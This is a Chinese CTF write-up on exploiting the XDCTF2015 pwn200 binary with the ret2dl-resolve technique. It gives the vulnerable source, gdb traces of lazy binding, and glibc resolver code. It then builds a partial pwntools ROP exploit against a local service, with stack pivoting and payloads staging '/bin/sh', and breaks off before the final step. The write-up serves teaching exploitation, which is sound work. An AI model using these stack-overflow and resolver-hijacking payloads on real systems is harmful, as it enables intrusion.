出题人在博客里贴出了源码，如下：
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}使用下面的语句编译：
$ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c
checksec 如下：
$ checksec -f a.out
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out
在开启 ASLR 的情况下把程序运行起来：
$ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
这题提供了二进制文件而没有提供 libc.so，而且也默认找不到，在章节 4.8 中我们提供了一种解法，这里我们讲解另一种。
这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的，论文地址在参考资料中。ret2dl-resolve 不需要信息泄露，而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施，包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中，我们也能看到它的身影，通常用于对付无法获得目标系统 libc.so 的情况。
关于动态链接我们在章节 1.5.6 中已经讲过了，这里就重点讲一下动态解析的过程。我们知道，在动态链接中，如果程序没有开启 Full RELRO 保护，则存在延迟绑定的过程，即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。
一个动态链接程序的程序头表中会包含类型为 PT_DYNAMIC 的段，它包含了 .dynamic 段，结构如下：
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;一个 Elf_Dyn 是一个键值对，其中 d_tag 是键，d_value 是值。其中有个例外的条目是 DT_DEBUG，它保存了动态装载器内部数据结构的指针。
段表结构如下：
typedef struct
{
Elf32_Word sh_name; /* Section name (string tbl index) */
Elf32_Word sh_type; /* Section type */
Elf32_Word sh_flags; /* Section flags */
Elf32_Addr sh_addr; /* Section virtual addr at execution */
Elf32_Off sh_offset; /* Section file offset */
Elf32_Word sh_size; /* Section size in bytes */
Elf32_Word sh_link; /* Link to another section */
Elf32_Word sh_info; /* Additional section information */
Elf32_Word sh_addralign; /* Section alignment */
Elf32_Word sh_entsize; /* Entry size if section holds table */
} Elf32_Shdr;
typedef struct
{
Elf64_Word sh_name; /* Section name (string tbl index) */
Elf64_Word sh_type; /* Section type */
Elf64_Xword sh_flags; /* Section flags */
Elf64_Addr sh_addr; /* Section virtual addr at execution */
Elf64_Off sh_offset; /* Section file offset */
Elf64_Xword sh_size; /* Section size in bytes */
Elf64_Word sh_link; /* Link to another section */
Elf64_Word sh_info; /* Additional section information */
Elf64_Xword sh_addralign; /* Section alignment */
Elf64_Xword sh_entsize; /* Entry size if section holds table */
} Elf64_Shdr;具体来看，首先在 write@plt 地址处下断点，然后运行：
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x8048430 <write@plt>
gdb-peda$ b *0x8048430
Breakpoint 1 at 0x8048430
gdb-peda$ r
Starting program: /home/firmy/Desktop/RE4B/200/a.out
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
EIP: 0x8048430 (<write@plt>: jmp DWORD PTR ds:0x804a01c)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018
0x8048426 <__libc_start_main@plt+6>: push 0x18
0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
=> 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
| 0x8048436 <write@plt+6>: push 0x20
| 0x804843b <write@plt+11>: jmp 0x80483e0
| 0x8048440: jmp DWORD PTR ds:0x8049ff0
| 0x8048446: xchg ax,ax
|-> 0x8048436 <write@plt+6>: push 0x20
0x804843b <write@plt+11>: jmp 0x80483e0
0x8048440: jmp DWORD PTR ds:0x8049ff0
0x8048446: xchg ax,ax
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffd59c --> 0x804861b (add esp,0x10)
0004| 0xffffd5a0 --> 0x1
0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0012| 0xffffd5a8 --> 0x17
0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048430 in write@plt ()
gdb-peda$ x/w 0x804a01c
0x804a01c: 0x08048436
由于是第一次运行，尚未进行绑定，0x804a01c 地址处保存的是 write@plt+6 的地址 0x8048436，即跳转到下一条指令。
将 0x20 压入栈中，这个数字是导入函数的标识，即一个 ELF_Rel 在 .rel.plt 中的偏移：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
EIP: 0x8048436 (<write@plt+6>: push 0x20)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048426 <__libc_start_main@plt+6>: push 0x18
0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
=> 0x8048436 <write@plt+6>: push 0x20
0x804843b <write@plt+11>: jmp 0x80483e0
0x8048440: jmp DWORD PTR ds:0x8049ff0
0x8048446: xchg ax,ax
0x8048448: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd59c --> 0x804861b (add esp,0x10)
0004| 0xffffd5a0 --> 0x1
0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0012| 0xffffd5a8 --> 0x17
0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048436 in write@plt ()
然后跳转到 0x80483e0，该地址是 .plt 段的开头，即 PLT[0]：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd598 --> 0x20 (' ')
EIP: 0x804843b (<write@plt+11>: jmp 0x80483e0)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
0x8048436 <write@plt+6>: push 0x20
=> 0x804843b <write@plt+11>: jmp 0x80483e0
| 0x8048440: jmp DWORD PTR ds:0x8049ff0
| 0x8048446: xchg ax,ax
| 0x8048448: add BYTE PTR [eax],al
| 0x804844a: add BYTE PTR [eax],al
|-> 0x80483e0: push DWORD PTR ds:0x804a004
0x80483e6: jmp DWORD PTR ds:0x804a008
0x80483ec: add BYTE PTR [eax],al
0x80483ee: add BYTE PTR [eax],al
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffd598 --> 0x20 (' ')
0004| 0xffffd59c --> 0x804861b (add esp,0x10)
0008| 0xffffd5a0 --> 0x1
0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0016| 0xffffd5a8 --> 0x17
0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804843b in write@plt ()
$ readelf -S a.out | grep 80483e0
[12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16
接下来就进入 PLT[0] 处的代码：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd598 --> 0x20 (' ')
EIP: 0x80483e0 (push DWORD PTR ds:0x804a004)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x80483e0: push DWORD PTR ds:0x804a004
0x80483e6: jmp DWORD PTR ds:0x804a008
0x80483ec: add BYTE PTR [eax],al
0x80483ee: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd598 --> 0x20 (' ')
0004| 0xffffd59c --> 0x804861b (add esp,0x10)
0008| 0xffffd5a0 --> 0x1
0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0016| 0xffffd5a8 --> 0x17
0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080483e0 in ?? ()
gdb-peda$ x/w 0x804a004
0x804a004: 0xf7ffd900
gdb-peda$ x/w 0x804a008
0x804a008: 0xf7fec370
$ readelf -S a.out | grep .got.plt
[23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
看一下 .got.plt 段，所以 0x804a004 和 0x804a008 分别是 GOT[1] 和 GOT[2]。继续调试：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0
EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80483dd: add BYTE PTR [eax],al
0x80483df: add bh,bh
0x80483e1: xor eax,0x804a004
=> 0x80483e6: jmp DWORD PTR ds:0x804a008
| 0x80483ec: add BYTE PTR [eax],al
| 0x80483ee: add BYTE PTR [eax],al
| 0x80483f0 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
| 0x80483f6 <setbuf@plt+6>: push 0x0
|-> 0xf7fec370 <_dl_runtime_resolve>: push eax
0xf7fec371 <_dl_runtime_resolve+1>: push ecx
0xf7fec372 <_dl_runtime_resolve+2>: push edx
0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffd594 --> 0xf7ffd900 --> 0x0
0004| 0xffffd598 --> 0x20 (' ')
0008| 0xffffd59c --> 0x804861b (add esp,0x10)
0012| 0xffffd5a0 --> 0x1
0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0020| 0xffffd5a8 --> 0x17
0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080483e6 in ?? ()
PLT[0] 处的代码将 GOT[1] 的值压入栈中，然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义，动态链接器在开始时给它们填充了特殊的内容：
- GOT[1]：一个指向内部数据结构的指针，类型是 link_map，在动态装载器内部使用，包含了进行符号解析需要的当前 ELF 对象的信息。在它的
l_info域中保存了.dynamic段中大多数条目的指针构成的一个数组，我们后面会利用它。 - GOT[2]：一个指向动态装载器中
_dl_runtime_resolve函数的指针。
函数使用参数 link_map_obj 来获取解析导入函数（使用reloc_index参数标识）需要的信息，并将结果写到正确的 GOT 条目中。在 _dl_runtime_resolve 解析完成后，控制流就交到了那个函数手里，而下次再调用函数的 plt 时，就会直接进入目标函数中执行。
_dl-runtime-resolve 的过程如下图所示：
重定位项使用 Elf_Rel 结构体来描述，存在于 .rep.plt 段和 .rel.dyn 段中：
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;32 位程序使用 REL，而 64 位程序使用 RELA。
下面的宏描述了 r_info 是怎样被解析和插入的：
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))举个例子：
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8每个符号使用 Elf_Sym 结构体来描述，存在于 .dynsym 段和 .symtab 段中，而 .symtab 在 strip 之后会被删掉：
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;下面的宏描述了 st_info 是怎样被解析和插入的：
/* How to extract and insert information held in the st_info field. */
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val) ((val) & 0xf)
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
/* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */
#define ELF64_ST_BIND(val) ELF32_ST_BIND (val)
#define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val)
#define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))所以 PLT[0] 其实就是调用的以下函数：
_dl_runtime_resolve(link_map_obj, reloc_index)gdb-peda$ disassemble 0xf7fec370
Dump of assembler code for function _dl_runtime_resolve:
0xf7fec370 <+0>: push eax
0xf7fec371 <+1>: push ecx
0xf7fec372 <+2>: push edx
0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc]
0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup>
0xf7fec380 <+16>: pop edx
0xf7fec381 <+17>: mov ecx,DWORD PTR [esp]
0xf7fec384 <+20>: mov DWORD PTR [esp],eax
0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4]
0xf7fec38b <+27>: ret 0xc
End of assembler dump.
该函数在 glibc/sysdeps/i386/dl-trampoline.S 中用汇编实现，先保存寄存器，然后将两个值分别传入寄存器，调用 _dl_fixup，最后恢复寄存器：
gdb-peda$ x/w $esp+0x10
0xffffd598: 0x00000020
gdb-peda$ x/w $esp+0xc
0xffffd594: 0xf7ffd900
还记得这两个值吗，一个是在 <write@plt+6>: push 0x20 中压入的偏移量，一个是 PLT[0] 中 push DWORD PTR ds:0x804a004 压入的 GOT[1]。
函数 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)，其参数分别由寄存器 eax 和 edx 提供。继续调试：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xf7ffd900 --> 0x0
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x20 (' ')
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd588 --> 0x3
EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7fec372 <_dl_runtime_resolve+2>: push edx
0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
=> 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>
0xf7fec380 <_dl_runtime_resolve+16>: pop edx
0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
Guessed arguments:
arg[0]: 0x3
arg[1]: 0x2a8c
arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd588 --> 0x3
0004| 0xffffd58c --> 0x2a8c
0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0012| 0xffffd594 --> 0xf7ffd900 --> 0x0
0016| 0xffffd598 --> 0x20 (' ')
0020| 0xffffd59c --> 0x804861b (add esp,0x10)
0024| 0xffffd5a0 --> 0x1
0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2
gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
EBX: 0x804a000 --> 0x8049f04 --> 0x1
ECX: 0x2a8c
EDX: 0x3
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0xffffd620 --> 0x1
EBP: 0xffffd638 --> 0x0
ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
EIP: 0xf7ea3100 (<write>: push esi)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7ea30fb: xchg ax,ax
0xf7ea30fd: xchg ax,ax
0xf7ea30ff: nop
=> 0xf7ea3100 <write>: push esi
0xf7ea3101 <write+1>: push ebx
0xf7ea3102 <write+2>: sub esp,0x14
0xf7ea3105 <write+5>: mov ebx,DWORD PTR [esp+0x20]
0xf7ea3109 <write+9>: mov ecx,DWORD PTR [esp+0x24]
[------------------------------------stack-------------------------------------]
0000| 0xffffd59c --> 0x804861b (add esp,0x10)
0004| 0xffffd5a0 --> 0x1
0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
0012| 0xffffd5a8 --> 0x17
0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7ea3100 in write () from /usr/lib32/libc.so.6
即使我们使用单步进入，也不能调试 _dl_fixup，它直接就执行完成并跳转到 write 函数了，而此时，GOT 的地址已经被覆盖为实际地址：
gdb-peda$ x/w 0x804a01c
0x804a01c: 0xf7ea3100
再强调一遍：fixup 是通过寄存器取参数的，这似乎违背了 32 位程序的调用约定，但它就是这样，上面 gdb 中显示的参数是错误的，该函数对程序员来说是透明的，所以会尽量少用栈去做操作。
既然不能调试，直接看代码吧，在 glibc/elf/dl-runtime.c 中：
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 分别获取动态链接符号表和动态链接字符串表的基址
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 通过参数 reloc_arg 计算重定位入口，这里的 DT_JMPREL 即 .rel.plt，reloc_offset 即 reloc_arg
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据函数重定位表中的动态链接符号表索引，即 reloc->r_info，获取函数在动态链接符号表中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 根据 strtab+sym->st_name 在字符串表中找到函数名，然后进行符号查找获取 libc 基址 result
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 将要解析的函数的偏移地址加上 libc 基址，得到函数的实际地址
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
// 将已经解析完成的函数地址写入相应的 GOT 表中
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}关于延迟绑定的攻击，在于强迫动态装载器解析请求的函数。
- 图a中，因为动态转载器是从
.dynamic段的DT_STRTAB条目中获得.dynstr段的地址的，而DT_STRTAB条目的位置已知，默认情况下也可写。所以攻击者能够改写DT_STRTAB条目的内容，欺骗动态装载器，让它以为.dynstr段在.bss段中，并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名，最终执行的是 execve。这种方式非常简单，但仅当二进制程序的.dynamic段可写时有效。 - 图b中，我们已经知道
_dl_runtime_resolve的第二个参数是 Elf_Rel 条目在.rel.plt段中的偏移，动态装载器将这个值加上.rel.plt的基址来得到目标结构体的绝对位置。然后当传递给_dl_runtime_resolve的参数reloc_index超出了.rel.plt段，并最终落在.bss段中时，攻击者可以在该位置伪造了一个Elf_Rel结构，并填写r_offset的值为一个可写的内存地址来将解析后的函数地址写在那里，同理r_info也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的Elf_Sym结构，而Elf_Sym结构中的st_name同样超出了.dynsym段。这样这个符号就会包含一个相对于.dynstr地址足够大的偏移使其能够达到这个符号之后的一段内存，而那段内存里保存着这个将要调用的函数的名称。
还记得我们前面说过的 GOT[1]，它是一个 link_map 类型的指针，其 l_info 域中有一个包含 .dynmic 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link_map 的一部分，就能够将 l_info 域中的 DT_STRTAB 条目指向一个特意制造的动态条目，那里则指向一个假的动态字符串表。
获得了 re2dl-resolve 所需的所有知识，下面我们来分析题目。
首先触发栈溢出漏洞，偏移为 112：
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
根据理论知识及对二进制文件的分析，我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表，一个 write 函数用于验证每一步的正确性，最后将 write 换成 system，就能得到 shell 了。
from pwn import *
# context.log_level = 'debug'
elf = ELF('./a.out')
io = remote('127.0.0.1', 10001)
io.recv()
pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr = 0x0804869b # pop ebp ; ret
leave_ret_addr = 0x080484b6 # leave ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
base_addr = bss_addr + 0x600 # 0x804a628分别获取伪造各种表所需要的段地址，将 bss 段的地址加上 0x600 作为伪造数据的基地址，这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈， pop ebp 和 leave ret 配合，以达到将 esp 指向 base_addr 的目的（在章节3.3.4中有讲到）。
第一部分的 payload 如下所示，首先从标准输入读取 100 字节到 base_addr，将 esp 指向它，并跳转过去，执行 base_addr 处的 payload：
payload_1 = "A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)从这里开始，后面的 paylaod 都是通过 read 函数读入的，所以必须为 100 字节长。首先，调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 "/bin/sh"，以验证栈转移成功。注意由于 .dynstr 中的字符串都是以 \x00 结尾的，所以伪造字符串为 bin/sh\x00。
payload_2 = "AAAA" # new ebp
payload_2 += p32(write_plt)
payload_2 += "AAAA"
payload_2 += p32(1)
payload_2 += p32(base_addr + 80)
payload_2 += p32(len("/bin/sh"))
payload_2 += "A" * (80 - len(payload_2))
payload_2 += "/bin/sh\x00"
payload_2 += "A" * (100 - len(payload_2))
io.sendline(payload_2)
print io.recv()我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈，然后跳转到 PLT[0]：
gdb-peda$ disassemble write
Dump of assembler code for function write@plt:
0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c
0x08048436 <+6>: push 0x20
0x0804843b <+11>: jmp 0x80483e0
End of assembler dump.
这次我们跳过这个过程，直接控制 eip 跳转到 PLT[0]，并在栈上布置上 reloc_index，即 0x20，就像是调用了 write@plt 一样。
reloc_index = 0x20
payload_3 = "AAAA"
payload_3 += p32(plt_0)
payload_3 += p32(reloc_index)
payload_3 += "AAAA"
payload_3 += p32(1)
payload_3 += p32(base_addr + 80)
payload_3 += p32(len("/bin/sh"))
payload_3 += "A" * (80 - len(payload_3))
payload_3 += "/bin/sh\x00"
payload_3 += "A" * (100 - len(payload_3))
io.sendline(payload_3)
